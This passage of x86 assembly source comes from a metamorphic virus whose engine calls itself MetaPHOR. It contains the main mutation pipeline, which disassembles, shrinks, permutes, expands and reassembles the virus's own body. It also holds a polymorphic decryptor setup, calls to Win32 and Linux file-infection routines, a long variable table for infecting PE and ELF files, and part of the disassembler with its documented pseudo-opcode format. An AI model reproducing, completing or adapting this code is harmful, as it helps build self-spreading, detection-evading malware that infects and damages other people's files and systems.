jz @@GarbleSect_DisasmSection ; Then, DISASM_SECTION
cmp eax, 2
jz @@GarbleSect_BuffersSection ; 2: BUFFERS_SECTION
cmp eax, 3
jz @@GarbleSect_DataSection ; 3: DATA_SECTION
cmp eax, 4
jnz @@GarbleSect_Next ; 4: DISASM2_SECTION
@@GarbleSect_Disasm2Section:
mov [ebp+New_DISASM2_SECTION], edx
add edx, 100000h ; Add size of section to adder
jmp @@GarbleSect_Next
@@GarbleSect_CodeSection:
mov [ebp+New_CODE_SECTION], edx
add edx, 80000h ; Add size of section to adder
jmp @@GarbleSect_Next
@@GarbleSect_DisasmSection:
mov [ebp+New_DISASM_SECTION], edx
add edx, 100000h ; Add size of section to adder
jmp @@GarbleSect_Next
@@GarbleSect_BuffersSection:
mov [ebp+New_BUFFERS_SECTION], edx
add edx, 60000h ; Add size of section to adder
jmp @@GarbleSect_Next
@@GarbleSect_DataSection:
mov [ebp+New_DATA_SECTION], edx
add edx, 20000h ; Add size of section to adder
@@GarbleSect_Next:
add esi, 4
sub ecx, 1
or ecx, ecx
jnz @@LoopGarbleSect_03
;; Now we can start with the selfmutation
;; Disassembler:
;;
;; It disassembles the code starting at ESI (entrypoint) to a pseudoassembler
;; that is easier to handle. This pseudoassembler will be used along the
;; mutation instead of the direct machine code.
mov eax, [ebp+_DISASM_SECTION]
add eax, ebp ; Set the address of
mov [ebp+InstructionTable], eax ; the instruction table
mov eax, [ebp+_LABEL_SECTION]
add eax, ebp ; Address of the label
mov [ebp+LabelTable], eax ; table
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp ; Temporary table for the
mov [ebp+FutureLabelTable], eax ; storadge of labels
mov eax, [ebp+_DISASM2_SECTION]
add eax, ebp ; Temporary buffer to mark
mov [ebp+PathMarksTable], eax ; the path of the code
mov esi, [ebp+_CODE_SECTION]
add esi, ebp ; ESI = Start of code
call DisasmCode ; Disassemble the code
nop ; NOP for debugging: Place for the debugger to put the
; INT 3. It will be eliminated by the disassembler,
; since all the one-byte instructions such CLC, INT 3,
; etc. are NOPed
; It returns EDI = Address of last instruction
mov [ebp+AddressOfLastInstruction], edi ; Set last instr.
;; Shrinker
;;
;; It compresses all the redundancies and obfuscations that the expander did
;; in previous generations.
call ShrinkCode ; Compress the code
;; Variable identificator:
;;
;; It scans the code to get instructions that use memory addresses and then
;; it converts them to a reference to a table of variables. After this, we
;; reselect the addresses of the variables.
mov eax, [ebp+_VARIABLE_SECTION]
add eax, ebp ; Set the address to the
mov [ebp+VariableTable], eax ; table of variables
mov eax, [ebp+_VAR_MARKS_SECTION]
add eax, ebp ; Set the buffer that marks
mov [ebp+VarMarksTable], eax ; the variables positions
; to know if a given address
; is already in the table
; or it's a free address
mov ecx, [ebp+DeltaRegister] ; The delta register is used
; to know what is an internal
; variable and what's not
call IdentifyVariables ; Identfy them and construct the
; table of variables
;; Code permutator
;;
;; It shuffles the code and insert jumps between to link the moved blocks,
;; updating also all the labels to point to the new location.
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp ; Temporary buffer to construct
mov [ebp+FramesTable], eax ; the permutation frames
mov eax, [ebp+_DISASM2_SECTION]
add eax, ebp ; Place where we store
mov [ebp+PermutationResult], eax ; the permutated code
mov eax, [ebp+_BUFFER2_SECTION]
add eax, ebp ; Buffer to store jumps to fix
mov [ebp+JumpsTable], eax ; while permutating
call PermutateCode
; Permutate the code (in pseudoassembler)
; Returns [AddressOfLastInstruction] updated to point to the
; last instruction + 10h in [PermutationResult] address
mov eax, [ebp+PermutationResult]
mov [ebp+InstructionTable], eax ; Set the new instr. table
;; Code expander
;;
;; It generates alternatives for every instruction coded in our pseudo-ASM.
;; It's generated in a way that we only have to code every instruction
;; directly to have a very different look of the previous program, but keeping
;; the functionality unchanged. It also translates all registers into new
;; ones (except ESP, of course).
xor eax, eax ; Tell the expander that
mov [ebp+CreatingADecryptor], eax ; we are mutating the
; virus body
mov eax, [ebp+_DISASM_SECTION]
add eax, ebp ; Set the destiny address of the
mov [ebp+ExpansionResult], eax ; expansion/obfuscation
xor eax, eax ; Set the recursivity
mov [ebp+SizeOfExpansion], eax ; to 3 (from 0 to 3)
call XpandCode ; Redo all instructions
; Returns [AddressOfLastInstruction] updated
;; Code assembler
;;
;; It assembles the code previously obfuscated and expanded by the expander
mov eax, [ebp+ExpansionResult]
mov [ebp+InstructionTable], eax ; _DISASM_SECTION
mov eax, [ebp+_DISASM2_SECTION]
add eax, ebp ; Set the address where
mov [ebp+NewAssembledCode], eax ; the reassembling result
; will be stored
mov eax, [ebp+_VARIABLE_SECTION]
add eax, ebp ; Use this address for
mov [ebp+NewLabelTable], eax ; temporary storadge
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp ; Another buffer for
mov [ebp+JumpRelocationTable], eax ; temporary storadge
call AssembleCode ; Convert the code to x86
;; Here we have:
;; [NewAssembledCode] = _DISASM2_SECTION = New code
;; [SizeOfNewCode] = Size of new code (oh, no! really??? :)
;; [RoundedSizeOfNewCode] = Size of new code rounded to pages (4 Kb)
;; From now, every section is free except CODE_SECTION, DATA_SECTION and
;; DISASM2_SECTION.
;; Now let's make the action that gives this program the attribute of a
;; computer virus: INFECT
mov eax, [ebp+_DISASM_SECTION]
add eax, ebp ; Code the decryptor
mov [ebp+DecryptorPseudoCode], eax ; here in pseudo-asm
add eax, 80000h
mov [ebp+AssembledDecryptor], eax ; Assemble it here
mov eax, [ebp+_BUFFER2_SECTION]
add eax, ebp ; Temporary buffer for the
mov [ebp+FindFileData], eax ; FindFile functions
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp ; Buffer for several
mov [ebp+OtherBuffers], eax ; actions
mov eax, [ebp+OperatingSystem]
or eax, eax
jz @@Win32_Infect
call Linux_InfectFiles
jmp @@FinishExecution
@@Win32_Infect:
call InfectFiles ; Infect!
@@FinishExecution:
; mov eax, '!'
; call DebugOutput
@@Error:
ret ; Return to the host and finish
Main endp
;; Function to get the address of the module passed in ASCII. It will convert
;; the string to UNICODE if the GetModuleHandle function is GetModuleHandleW.
APICall_GetModuleHandle proc
mov eax, [ebp+FlagAorW] ; Get A or W
or eax, eax ; A?
jz @@UseGMHA ; Then, use the string as is
mov ebx, edx
add ebx, 20h ; Go to the end of the string buffer (W)
mov ebx, edx
add ecx, 10h ; Go to the end of the string buffer (A)
@@LoopConvertToWideChar:
mov eax, [ecx] ; Get a letter
and eax, 0FFh ; Make it zero-extended (in words)
mov [ebx], eax ; Store it
sub ecx, 1 ; Decrease the ASCII address in 1
sub ebx, 2 ; Decrease the UNICODE address in 2
cmp ecx, edx ; Are we at the end of the buffer
jnz @@LoopConvertToWideChar ; If not, loop again
@@UseGMHA: push edx ; Store parameter
call dword ptr [ebp+RVA_GetModuleHandle] ; Call the API
mov [ebp+ReturnValue], eax ; Store the module handle
ret
APICall_GetModuleHandle endp
; EDI = Handle of module
; EDX = Buffer where we have the function name
GetFunction proc
push eax
push ecx
push edx ; APICALL_BEGIN
mov eax, edx ; We do this to avoid many continuous PUSHes
push eax ; Store function name and module handle
mov eax, edi
push eax
call dword ptr [ebp+RVA_GetProcAddress] ; Call API
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax ; APICALL_END
mov eax, [ebp+ReturnValue] ; Get the function address
ret
GetFunction endp
;; KEYWORD: Key_!VarDeclr
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;************************************************************************;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; Memory addresses. The variables are internal offsets into the data section,
;; so they are coded in this way. As you can see, all them are EQUs.
;;
;; There are also some equates to make easier the programming, although all
;; the values here are only valid on first generation, due to the fact that
;; they'll recalculated and randomized.
;;
__CODE_SECTION EQU 000000h
__DISASM_SECTION EQU 100000h
__BUFFERS_SECTION EQU 080000h
__LABEL_SECTION EQU __BUFFERS_SECTION + 00000h
__VARIABLE_SECTION EQU __BUFFERS_SECTION + 10000h
__BUFFER1_SECTION EQU __BUFFERS_SECTION + 20000h
__BUFFER2_SECTION EQU __BUFFERS_SECTION + 30000h
__VAR_MARKS_SECTION EQU __BUFFERS_SECTION + 40000h
__DATA_SECTION EQU 0E0000h
__DISASM2_SECTION EQU 200000h
NumberOfLabels EQU __DATA_SECTION + 0000h
NumberOfInstructions EQU __DATA_SECTION + 0008h
InstructionTable EQU __DATA_SECTION + 0010h
LabelTable EQU __DATA_SECTION + 0018h
FutureLabelTable EQU __DATA_SECTION + 0020h
PathMarksTable EQU __DATA_SECTION + 0028h
NumberOfLabelsPost EQU __DATA_SECTION + 0030h
AddressOfLastInstruction EQU __DATA_SECTION + 0038h
VariableTable EQU __DATA_SECTION + 0040h
NumberOfVariables EQU __DATA_SECTION + 0048h
FramesTable EQU __DATA_SECTION + 0050h
PermutationResult EQU __DATA_SECTION + 0058h
JumpsTable EQU __DATA_SECTION + 0060h
AddressOfLastFrame EQU __DATA_SECTION + 0068h
PositionOfFirstInstruction EQU __DATA_SECTION + 0070h
MODValue EQU __DATA_SECTION + 0078h
NumberOfJumps EQU __DATA_SECTION + 0080h
RndSeed1 EQU __DATA_SECTION + 0088h
RndSeed2 EQU __DATA_SECTION + 0090h
ExpansionResult EQU __DATA_SECTION + 0098h
Register8Bits EQU __DATA_SECTION + 00A0h
Xp_Register0 EQU __DATA_SECTION + 00A8h
Xp_Register1 EQU __DATA_SECTION + 00B0h
Xp_Register2 EQU __DATA_SECTION + 00B8h
Xp_Register3 EQU __DATA_SECTION + 00C0h
Xp_Register4 EQU __DATA_SECTION + 00C8h
Xp_Register5 EQU __DATA_SECTION + 00D0h
Xp_Register6 EQU __DATA_SECTION + 00D8h
Xp_Register7 EQU __DATA_SECTION + 00E0h
DeltaRegister EQU __DATA_SECTION + 00E8h
Xp_8Bits EQU __DATA_SECTION + 00F0h
Xp_Operation EQU __DATA_SECTION + 00F8h
Xp_Register EQU __DATA_SECTION + 0100h
Xp_Mem_Index1 EQU __DATA_SECTION + 0108h
Xp_Mem_Index2 EQU __DATA_SECTION + 0110h
Xp_Mem_Addition EQU __DATA_SECTION + 0118h
Xp_Immediate EQU __DATA_SECTION + 0120h
Xp_SrcRegister EQU __DATA_SECTION + 0128h
Xp_FlagRegOrMem EQU __DATA_SECTION + 0130h
Xp_RecurseLevel EQU __DATA_SECTION + 0138h
Xp_LEAAdditionFlag EQU __DATA_SECTION + 0140h
VarMarksTable EQU __DATA_SECTION + 0148h
_BUFFERS_SECTION EQU __DATA_SECTION + 0150h
_CODE_SECTION EQU __DATA_SECTION + 0158h
_DISASM_SECTION EQU __DATA_SECTION + 0160h
_LABEL_SECTION EQU __DATA_SECTION + 0168h
_VARIABLE_SECTION EQU __DATA_SECTION + 0170h
_BUFFER1_SECTION EQU __DATA_SECTION + 0178h
_BUFFER2_SECTION EQU __DATA_SECTION + 0180h
_VAR_MARKS_SECTION EQU __DATA_SECTION + 0188h
_DATA_SECTION EQU __DATA_SECTION + 0190h
_DISASM2_SECTION EQU __DATA_SECTION + 0198h
New_CODE_SECTION EQU __DATA_SECTION + 01A0h
New_DISASM_SECTION EQU __DATA_SECTION + 01A8h
New_BUFFERS_SECTION EQU __DATA_SECTION + 01B0h
; New_LABEL_SECTION EQU __DATA_SECTION + 01B0h
; New_VARIABLE_SECTION EQU __DATA_SECTION + 01B8h
; New_BUFFER1_SECTION EQU __DATA_SECTION + 01C0h
; New_BUFFER2_SECTION EQU __DATA_SECTION + 01C8h
; New_VAR_MARKS_SECTION EQU __DATA_SECTION + 01D0h
New_DATA_SECTION EQU __DATA_SECTION + 01D8h
New_DISASM2_SECTION EQU __DATA_SECTION + 01E0h
RVA_GetModuleHandle EQU __DATA_SECTION + 01E8h
RVA_GetProcAddress EQU __DATA_SECTION + 01F0h
FlagAorW EQU __DATA_SECTION + 01F8h
ReturnValue EQU __DATA_SECTION + 0200h
hKernel EQU __DATA_SECTION + 0208h
hUser32 EQU __DATA_SECTION + 0210h
RVA_CreateFileA EQU __DATA_SECTION + 0218h
RVA_CreateFileMappingA EQU __DATA_SECTION + 0220h
RVA_MapViewOfFile EQU __DATA_SECTION + 0228h
RVA_UnmapViewOfFile EQU __DATA_SECTION + 0230h
RVA_GetFileSize EQU __DATA_SECTION + 0238h
RVA_GetFileAttributesA EQU __DATA_SECTION + 0240h
RVA_SetFileAttributesA EQU __DATA_SECTION + 0248h
RVA_SetFilePointer EQU __DATA_SECTION + 0250h
RVA_SetFileTime EQU __DATA_SECTION + 0258h
RVA_SetEndOfFile EQU __DATA_SECTION + 0260h
RVA_FindFirstFileA EQU __DATA_SECTION + 0268h
RVA_FindNextFileA EQU __DATA_SECTION + 0270h
RVA_FindClose EQU __DATA_SECTION + 0278h
RVA_CloseHandle EQU __DATA_SECTION + 0280h
RVA_MessageBoxA EQU __DATA_SECTION + 0288h
NewLabelTable EQU __DATA_SECTION + 0290h
Asm_ByteToSort EQU __DATA_SECTION + 0298h
JumpRelocationTable EQU __DATA_SECTION + 02A0h
NumberOfJumpRelocations EQU __DATA_SECTION + 02A8h
Permut_LastInstruction EQU __DATA_SECTION + 02B0h
TranslatedDeltaRegister EQU __DATA_SECTION + 02B8h
hFile EQU __DATA_SECTION + 02C0h
FileSize EQU __DATA_SECTION + 02C8h
OriginalFileSize EQU __DATA_SECTION + 02D0h
hMapping EQU __DATA_SECTION + 02D8h
MappingAddress EQU __DATA_SECTION + 02E0h
HeaderAddress EQU __DATA_SECTION + 02E8h
StartOfSectionHeaders EQU __DATA_SECTION + 02F0h
RelocHeader EQU __DATA_SECTION + 02F8h
TextHeader EQU __DATA_SECTION + 0300h
DataHeader EQU __DATA_SECTION + 0308h
RVA_TextHole EQU __DATA_SECTION + 0310h
Phys_TextHole EQU __DATA_SECTION + 0318h
TextHoleSize EQU __DATA_SECTION + 0320h
RVA_DataHole EQU __DATA_SECTION + 0328h
Phys_DataHole EQU __DATA_SECTION + 0330h
MakingFirstHole EQU __DATA_SECTION + 0338h
ExitProcessAddress EQU __DATA_SECTION + 0340h
GetModuleHandleAddress EQU __DATA_SECTION + 0348h
GetProcAddressAddress EQU __DATA_SECTION + 0350h
VirtualAllocAddress EQU __DATA_SECTION + 0358h
GetModuleHandleMode EQU __DATA_SECTION + 0360h
VirtualPositionOfVar EQU __DATA_SECTION + 0368h
PhysicalPositionOfVar EQU __DATA_SECTION + 0370h
Kernel32Imports EQU __DATA_SECTION + 0378h
hFindFile EQU __DATA_SECTION + 0380h
Addr_FilePath EQU __DATA_SECTION + 0388h
FileAttributes EQU __DATA_SECTION + 0390h
SizeOfNewCode EQU __DATA_SECTION + 0398h
FindFileData EQU __DATA_SECTION + 03A0h
OtherBuffers EQU __DATA_SECTION + 03A8h
RoundedSizeOfNewCode EQU __DATA_SECTION + 03B0h
NewAssembledCode EQU __DATA_SECTION + 03B8h
NumberOfUndoActions EQU __DATA_SECTION + 03C0h
LastHeader EQU __DATA_SECTION + 03C8h
MaxSizeOfDecryptor EQU __DATA_SECTION + 03D0h
CreatingADecryptor EQU __DATA_SECTION + 03D8h
DecryptorPseudoCode EQU __DATA_SECTION + 03E0h
AssembledDecryptor EQU __DATA_SECTION + 03E8h
Decryptor_DATA_SECTION EQU __DATA_SECTION + 03F0h
SizeOfExpansion EQU __DATA_SECTION + 03F8h
SizeOfDecryptor EQU __DATA_SECTION + 0400h
TypeOfEncryption EQU __DATA_SECTION + 0408h
EncryptionKey EQU __DATA_SECTION + 0410h
IndexValue EQU __DATA_SECTION + 0418h
IndexRegister EQU __DATA_SECTION + 0420h
BufferRegister EQU __DATA_SECTION + 0428h
CounterRegister EQU __DATA_SECTION + 0430h
BufferValue EQU __DATA_SECTION + 0438h
CounterValue EQU __DATA_SECTION + 0440h
Poly_FirstPartOfFunction EQU __DATA_SECTION + 0448h
Poly_SecondPartOfFunction EQU __DATA_SECTION + 0450h
Poly_ThirdPartOfFunction EQU __DATA_SECTION + 0458h
AdditionToBuffer EQU __DATA_SECTION + 0460h
Poly_Jump_ErrorInVirtualAlloc EQU __DATA_SECTION+0468h
;Index2Register EQU __DATA_SECTION + 0470h
Poly_LoopLabel EQU __DATA_SECTION + 0478h
RVA_GetSystemTime EQU __DATA_SECTION + 0480h
RVA_GetTickCount EQU __DATA_SECTION + 0488h
RVA_GetDriveTypeA EQU __DATA_SECTION + 0490h
RVA_GetLogicalDriveStringsA EQU __DATA_SECTION + 0498h
RVA_SetCurrentDirectoryA EQU __DATA_SECTION + 04A0h
StartOfEncryptedData EQU __DATA_SECTION + 04A8h
SizeOfNewCodeP2 EQU __DATA_SECTION + 04B0h
Poly_InitialValue EQU __DATA_SECTION + 04B8h
Poly_Addition EQU __DATA_SECTION + 04C0h
Poly_ExcessJumpInstruction EQU __DATA_SECTION + 04C8h
DirectoryDeepness EQU __DATA_SECTION + 04D0h
RVA_GetSystemDefaultLCID EQU __DATA_SECTION + 04D8h
Poly_JumpRandomExecution EQU __DATA_SECTION + 04E0h
Weight_X000_3 EQU __DATA_SECTION + 04E8h
Weight_X004_7 EQU __DATA_SECTION + 04F0h
Weight_X008_11 EQU __DATA_SECTION + 04F8h
Weight_X012_15 EQU __DATA_SECTION + 0500h
Weight_X016_19 EQU __DATA_SECTION + 0508h
Weight_X020_23 EQU __DATA_SECTION + 0510h
TrueFirstHole EQU __DATA_SECTION + 0518h
LoadLibraryAddress EQU __DATA_SECTION + 0520h
LoadLibraryMode EQU __DATA_SECTION + 0528h
JMP_ExitProcessAddress EQU __DATA_SECTION + 0530h
JMP_GetModuleHandleAddress EQU __DATA_SECTION + 0538h
JMP_GetProcAddressAddress EQU __DATA_SECTION + 0540h
JMP_VirtualAllocAddress EQU __DATA_SECTION + 0548h
EPO_AbsoluteOrRelative EQU __DATA_SECTION + 0550h
Poly_EmulateStackFrame EQU __DATA_SECTION + 0558h
Poly_BranchLevel EQU __DATA_SECTION + 0560h
Poly_MaxBranchLevel EQU __DATA_SECTION + 0568h
Poly_Jump_ErrorLabel EQU __DATA_SECTION + 0570h
Poly_NumberOfLoopJumps EQU __DATA_SECTION + 0578h
Poly_NumberOfBranchLabels EQU __DATA_SECTION + 0580h
Poly_BranchLabelArray EQU __DATA_SECTION + 0588h
Poly_LoopJumps EQU __DATA_SECTION + 0590h
Weight_X024_27 EQU __DATA_SECTION + 0598h
Res_StringWithName EQU __DATA_SECTION + 05A0h
Res_LevelOfResource EQU __DATA_SECTION + 05B0h
Res_Level1Info EQU __DATA_SECTION + 05B8h
Res_Level2Info EQU __DATA_SECTION + 05C0h
OperatingSystem EQU __DATA_SECTION + 05C8h
InfectOnlyPEs EQU __DATA_SECTION + 05D0h
ReturnAddress EQU __DATA_SECTION + 05D8h
ELF_Segment1 EQU __DATA_SECTION + 05E0h
ELF_Segment2 EQU __DATA_SECTION + 05E8h
LastAllocableSection EQU __DATA_SECTION + 05F0h
NumberOfAllocableSection EQU __DATA_SECTION + 05F8h
shstrtab_section EQU __DATA_SECTION + 0600h
SizeOfNewHole EQU __DATA_SECTION + 0608h
LengthOfSectionName EQU __DATA_SECTION + 0610h
OverVar_AddNameSize EQU __DATA_SECTION + 0618h
AddressOf_exit_Function EQU __DATA_SECTION + 0620h
AddressOf_malloc_Function EQU __DATA_SECTION + 0628h
dynsym_section EQU __DATA_SECTION + 0630h
dynstr_section EQU __DATA_SECTION + 0638h
PointInScanBuffer EQU __DATA_SECTION + 0640h
SambaFileSystem EQU __DATA_SECTION + 0648h
Linux_SecondsCount EQU __DATA_SECTION + 0650h
;;
;;
;; End of variables
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; KEYWORD: Key_!Disassembler
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; *********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The disassembler
;; ----------------
;;
;; The disassembler is the module that converts the machine code into our
;; pseudo-assembler in the addresses we gave it.
;;
;; The codification of every instruction of the generated pseudo-assembler
;; is as follows (extracted from the article I wrote about metamorphism and
;; this engine):
;;
;; ---------------------------------------------------------------------------
;;
;; The MetaPHOR internal pseudo-assembler follows the next rules:
;;
;; a) All the instructions are 16-bytes long (but this can change in the
;; future to handle 64-bits processors, like the Itanium).
;;
;; b) The structure of the instruction is always the same for all them:
;;
;; General structure:
;;
;; 16 bytes per instruction,
;;
;; 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;; OP *----- instruction data ----* LM *-pointer-*
;;
;; OP is the opcode of the instruction. Depending on the opcode we use
;; an instruction data structure or other.
;;
;; LM is "Label Mark". Its value is 1 when a label is pointing to this
;; instruction, and can be used for quite things, for example to know
;; if two instructions can be shrinked or not (they can't if the second
;; one has a label over it). It's at +0B in the instruction.
;;
;; The dword at +0C is a pointer that means "last code reference". On
;; disassembly this means the EIP where this instruction is pointing to
;; its original codification, but while we are advancing in the code
;; treatment we store here references to the last situation of the
;; instruction. This helps to make modifications to the table of labels,
;; to recode the displacement instructions (JMP, CALL, etc.) and more.
;;
;;
;; Now the structures that the engine uses in the instructions:
;;
;; Memory_address_struct:
;; +01: First index
;; +02: Second index, bits 7&6 are the multiplicator (00=*1,01=*2,
;; 10=*4,11=*8)
;; +03: DWORD addition to indexes
;;
;;
;;
;; Depending on the opcode (the operation to perform), the following
;; means:
;;
;; - If operation has no operand (NOP, RET, etc). nothing in the instr.
;; data is performed
;;
;; - If operation has one operand:
;;
;; Register operand:
;; +01: Register
;;
;; Memory address:
;; +01: Memory address struct
;;
;; Immediate value:
;; +07: DWORD value, zero extended if it's a byte operation
;;
;; Destiny address (JMP, CALL, etc.)
;; +01: Label to jump to (DWORD)
;;
;; - If operation has two operands:
;;
;; Reg,Imm:
;; +01: Register
;; +07: DWORD immediate value, zero extended if it's a 8-bits op.
;;
;; Reg,Reg:
;; +01: Source register
;; +07: Destiny register
;;
;; Reg,Mem:
;; +01: Memory address struct
;; +07: Destiny register
;;
;; Mem,Reg:
;; +01: Memory address struct
;; +07: Source register
;;
;; Mem,Imm:
;; +01: Memory address struct
;; +07: DWORD immediate value, zero extended if it's a 8-bits op.
;;
;;
;; From this rules, now we use the next pseudo-opcodes:
;;
;; 00: ADD, 08: OR, 20: AND, 28: SUB, 30: XOR, 38: CMP, 40: MOV, 48: TEST
;;
;; Set rules: +00: Reg,Imm
;; +01: Reg,Reg
;; +02: Reg,Mem
;; +03: Mem,Reg
;; +04: Mem,Imm
;; +80: 8 bits operation
;;
;; So, opcode 83 means ADD Mem,Reg using 8-bits operands, and so on.
;;
;; 50: PUSH Reg
;; 51: PUSH Mem
;; 58: POP Reg
;; 59: POP Mem
;; 68: PUSH Imm
;; 70-7F: Conditional jumps
;; E0: NOT Reg
;; E1: NOT Mem
;; E2: NOT Reg8
;; E3: NOT Mem8
;; E4: NEG Reg
;; E5: NEG Mem
;; E6: NEG Reg8
;; E7: NEG Mem8
;; E8: CALL label
;; E9: JMP label
;; EA: CALL Mem (used for API calls)
;; EB: JMP Mem (used for obfuscation in API calls)
;; EC: CALL Reg (obfuscation of API calls)
;; ED: JMP Reg (idem)
;;
;; F0: SHIFT Reg,Imm
;; F1: SHIFT Mem,Imm
;; F2: SHIFT Reg8,Imm
;; F3: SHIFT Mem8,Imm
;; For all SHIFTs:
;; +07: Byte with the value of rotation/shifting
;; +08: Operation performed: 0: ROL, 8: ROR, 20: SHL, 28: SHR
;; F4: APICALL_BEGIN
;; Special operation meaning PUSH EAX/PUSH ECX/PUSH EDX that avoids
;; the recoding of these registers, always remaining the same.
;; F5: APICALL_END
;; The complementary of APICALL_BEGIN, it means POP EDX/POP ECX/POP EAX
;; F6: APICALL_STORE
;; +01: Memory address struct
;; This always means: MOV [Mem],EAX <-- Avoiding the recoding of EAX
;; F7: SET_WEIGHT
;; +01: Memory address struct
;; +07: Weight item identificator
;; +08: Register 1
;; +09: Register 2
;; F8: MOVZX Reg,byte ptr [Mem]
;; Memory address struct is a 8-bits operand, while +07 is a 32 bit reg.
;; F9: MOVZX Reg,word ptr [Mem]
;; FA: LINUX_GETPARAMS
;; Special operation meaning POP EDX/POP ECX/POP EBX/POP EAX
;; FB: Merge of INT 80h + APICALL_STORE
;; FC: LEA
;; FD: INT 80h (for Linux syscalls), used only on disassembly
;; FE: RET
;; FF: NOP
;; ---------------------------------------------------------------------------
;;
;; The decodification, as you will see, it's not arbitrary, I mean, there
;; is a reason for every format of decodification in every instruction.
;; Although many times the format is in that way due to thinking on simplicity,
;; other times I changed the format to make code reduction easier.
;; ESI = Start of code to dissasemble
DisasmCode proc
xor eax, eax
mov [ebp+NumberOfLabels], eax ; Initialize the number of
mov [ebp+NumberOfLabelsPost], eax ; labels and the number
; of buffered labels
mov ecx, 80000h/4 ; Initialize the path marks
mov edi, [ebp+PathMarksTable]
xor eax, eax
@@LoopInitializePathTable:
mov [edi], eax ; Fill all the buffers with 0
add edi, 4
sub ecx, 1
or ecx, ecx
jnz @@LoopInitializePathTable
mov edi, [ebp+InstructionTable]
;; Let's disassemble the given code address (ESI) into the buffer where we
;;construct the whole code in pseudoassembler (EDI)
@@LoopTrace:
@@CheckCurrentLabel:
mov eax, esi ; Check if the current code is already
sub eax, [ebp+_CODE_SECTION] ; disassembled
sub eax, ebp
add eax, [ebp+PathMarksTable]
mov eax, [eax] ; If the mark in the path is != 0,
and eax, 0FFh ; then it's already disassembled.
cmp eax, 1
jnz @@CheckIfFutureLabelArrived
;; If it's already disassembled, it's because the current code is inside
;; a loop, or is referenced by a label that we disassembled before. So, we
;; find the referenced code and we insert a JMP to there, and after that we
;; get a new EIP from the list of "future labels".
mov edx, [ebp+InstructionTable] ; Get the first instruction
@@CheckCurrEIP_001:
mov eax, [edx+0Ch] ; Search the pointer at all the
cmp eax, esi ; disassembled instructions. When we
jz @@ItsTheCurrentEIP ; find it, we'll insert a JMP to that
add edx, 10h ; instruction.
jmp @@CheckCurrEIP_001
@@ItsTheCurrentEIP:
mov [edi+0Ch], esi ; Set the new pointer.
mov eax, [edi+0Bh] ; Get the label mark.
and eax, 0FFFFFF00h ; Clear it.
mov [edi+0Bh], eax
mov eax, 0E9h ; Set the JMP to the already
mov [edi], eax ; disassembled code
mov eax, esi
mov ebx, edx ; Insert the label
call InsertLabel
mov [edi+1], edx
add edi, 10h ; Increment the EIP
; Now get a new EIP to disassemble.
mov ecx, [ebp+NumberOfLabelsPost] ; Get the number of
or ecx, ecx ; labels. If it's 0, we haven't more branches
jz @@FinDeTraduccion ; to disassemble, so we finish and
; return.
mov ebx, [ebp+FutureLabelTable] ; Get the table address
@@LoopCheckOtherFutureLabel: ; Look for a not disassembled label
mov eax, [ebx]
cmp eax, esi
jz @@OtherFutureLabelFound
@@LoopSearchOtherFutureLabel:
add ebx, 8
sub ecx, 1
or ecx, ecx
jnz @@LoopCheckOtherFutureLabel
; Now we have a new EIP in ESI
mov ecx, [ebp+NumberOfLabelsPost]
mov ebx, [ebp+FutureLabelTable]
@@LoopCheckOtherFutureLabel2:
mov eax, [ebx] ; Check the other labels at the table.
or eax, eax ; If we found one already disassembled,
jz @@LoopSearchOtherFutureLabel2 ; we eliminate it from the
sub eax, ebp ; list and insert the new label in the
sub eax, [ebp+_CODE_SECTION] ; table of definitive
add eax, [ebp+PathMarksTable] ; labels.
mov eax, [eax]
and eax, 0FFh
cmp eax, 1
jz @@ReleaseLabelsInThatAddress
@@LoopSearchOtherFutureLabel2:
add ebx, 8
sub ecx, 1
or ecx, ecx
jnz @@LoopCheckOtherFutureLabel2
jmp @@GetEIPFromFutureLabelList
@@ReleaseLabelsInThatAddress:
push ebx ; Release the label. This means store
push ecx ; the labels already disassembled in the
mov esi, [ebx] ; definitive label table, and all that.
call ReleaseFutureLabels ; It checks the current EIP in ESI.
pop ecx
pop ebx
jmp @@LoopSearchOtherFutureLabel2
@@OtherFutureLabelFound:
mov eax, [ebx+4] ; Set the label at the JUMP or
mov [eax+1], edx ; displacement instruction
xor eax, eax
mov [ebx], eax ; Eliminate the label from the future
jmp @@LoopSearchOtherFutureLabel ; label list
@@CheckIfFutureLabelArrived:
mov eax, [edi+0Bh] ; Clear the label mark...
and eax, 0FFFFFF00h
mov [edi+0Bh], eax
call ReleaseFutureLabels ; ...and release the temporary
; labels
@@SigueInstr:
mov [edi+0Ch], esi ; Set the current EIP at the pointer
mov ebx, esi ; field.
sub ebx, [ebp+_CODE_SECTION]
sub ebx, ebp
add ebx, [ebp+PathMarksTable]
mov eax, [ebx]
or eax, 1
mov [ebx], eax ; Mark address as already decoded
mov eax, [esi] ; Get the opcode
and eax, 0FFh
cmp eax, 3Fh ; OP Reg,Reg, Mem,Reg or Reg,Mem?
jbe @@GenericOpcode
cmp eax, 47h ; INC Reg?
jbe @@Op_INC
cmp eax, 4Fh ; DEC Reg?
jbe @@Op_DEC
cmp eax, 5Fh ; PUSH Reg/POP Reg?
jbe @@Op_PUSHPOP
cmp eax, 68h ; PUSH Imm?
jz @@Op_PUSHValue
cmp eax, 6Ah ; PUSH sign-extended Imm?
jz @@Op_PUSHSignedValue
cmp eax, 70h ; Short conditional jump?
jb @@SigueInstr_00
cmp eax, 7Fh
jbe @@Jcc
@@SigueInstr_00:
cmp eax, 80h ; Reg,Imm or Mem,Imm?
jb @@SigueInstr_01
cmp eax, 83h
jbe @@GenericOpcode2
